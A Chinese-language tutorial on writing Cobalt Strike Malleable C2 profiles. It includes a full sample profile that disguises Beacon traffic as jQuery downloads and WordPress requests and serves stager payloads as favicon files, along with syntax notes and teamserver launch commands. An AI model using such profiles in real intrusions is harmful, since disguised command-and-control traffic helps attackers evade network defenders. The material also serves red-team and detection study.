【逆向】Cobalt Strike Malleable C2配置文件編寫教程

前言

Malleable C2是Cobalt Strike的一個功能，它允許我們通過編寫配置文件來改變Beacon與C2通信時的流量特征與行為。在學習之前我們先通過下圖了解下Beacon與Teamserver通信的基礎過程。

示例

以下示例基本包含了編寫配置文件需要用到的元素。

#設置全局選項
set sample_name "my";
set sleeptime "5000";

http-get
{
    #設置針對get請求的url路徑
    set uri "/jquery.min.js";

    client
    {
        #設置客戶端請求的頭部字段與url參數
        header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
        parameter "ver" "1.2.4";

        #發送會話元數據
        metadata
        {
            base64;                #base64編碼
            prepend "token=";      #數據前追加字符串
            header "Cookie";       #保存數據到Cookie字段
        }
    }

    server
    {
        #設置服務端請求的頭部字段
        header "Server" "Apache/2.4.39 (Unix)";
        header "Content-Type" "application/javascript; charset=utf-8";

        #返回需要執行的任務信息
        output
        {
            base64;
            prepend "/*! jQuery v2.1.3";
            append "var nc=a.jQuery,oc=a.$;";
            print;
        }
    }
}

http-post
{
    set uri "/wp-admin";

    client
    {
        header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
        header "Cookie" "wordpress_test_cookie=WP+Cookie+check";

        #發送任務ID
        id
        {
            base64;
            prepend "PHPSESSID=";
            header "Cookie";
        }

        #發送任務執行結果
        output
        {
            base64;
            print;
        }
    }

    server
    {
        header "Server" "Apache/2.4.39 (Unix)";
        header "Content-Type" "text/html; charset=UTF-8";

        #返回空
        output
        {
            base64;
            print;
        }
    }
}

http-stager
{
    set uri_x86 "/favicon1.ico";
    set uri_x64 "/favicon2.ico";

    client
    {
        header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
    }

    server
    {
        header "Server" "Apache/2.4.39 (Unix)";
        header "Content-Type" "image/x-icon";

        #返回有效載荷
        output
        {
            print;
        }
    }
}

語句

使用以下語句編寫配置文件，可以完成對C2流量特征與行為的自定義過程。

數據轉換

//對傳輸數據進行編碼
base64：        //base64編碼
base64url：     //base64編碼后數據可以放在rul中
mask：          //xor異或加密
netbios：       //SMB 傳輸過程中針對主機名的編碼方式（NetBIOS編碼‘a’）
netbiosu：      //SMB 傳輸過程中針對主機名的編碼方式（NetBIOS編碼‘A’）

//在傳輸數據的起始和結尾部分追加字符串
prepend：       //前置字符串
append：        //結尾字符串

終止語句

//設置傳輸數據存儲的位置
header "Cookie"    //將數據存儲在HTTP頭Cookie字段中
parameter "Key"    //將數據存儲在URL參數中

print              //將數據存儲在Body中
uri-append         //將數據附加到URL中

額外語句

//parameter: 在rul結尾添加?bar = blah參數
http-get {
    client {
        parameter "bar" "blah";
        
//header: 在請求頭添加X-Not-Malware字段
http-get {
    server {
        header "X-Not-Malware" "I promise!";

轉義字符

"\n"        //換行符
"\r"        //回車符
"\t"        //制表符
"\u####"    //Unicode字符
"\x##"      //字節符(例如：\x41 = 'A')
"\\"        //\

可用選項

可用選項分為2種類型：全局選項和局部選項。
全局選項在文件頭部設置，全局選項將更改全局Beacon設置。
你可以使用“set”語句在配置文件中設置可用選項來配置Beacon的默認值。

//設置默認睡眠時間為1000毫秒
set "sleeptime" "1000";

測試與使用

Cobalt Strike軟件包中包含一個c2lint程序，你可以使用該程序對配置文件語法進行檢查，或者使用隨機數據對配置文件進行單元測試。

// ./c2lint [/path/to/my.profile]

配置文件檢測通過后你可以在啟動Cobalt Strike團隊服務器時，指定加載該配置文件。

// ./teamserver [external IP] [password] [/path/to/my.profile]

參考資料

https://www.cobaltstrike.com/help-malleable-c2
https://exp10it.cn/#/posts/69
https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/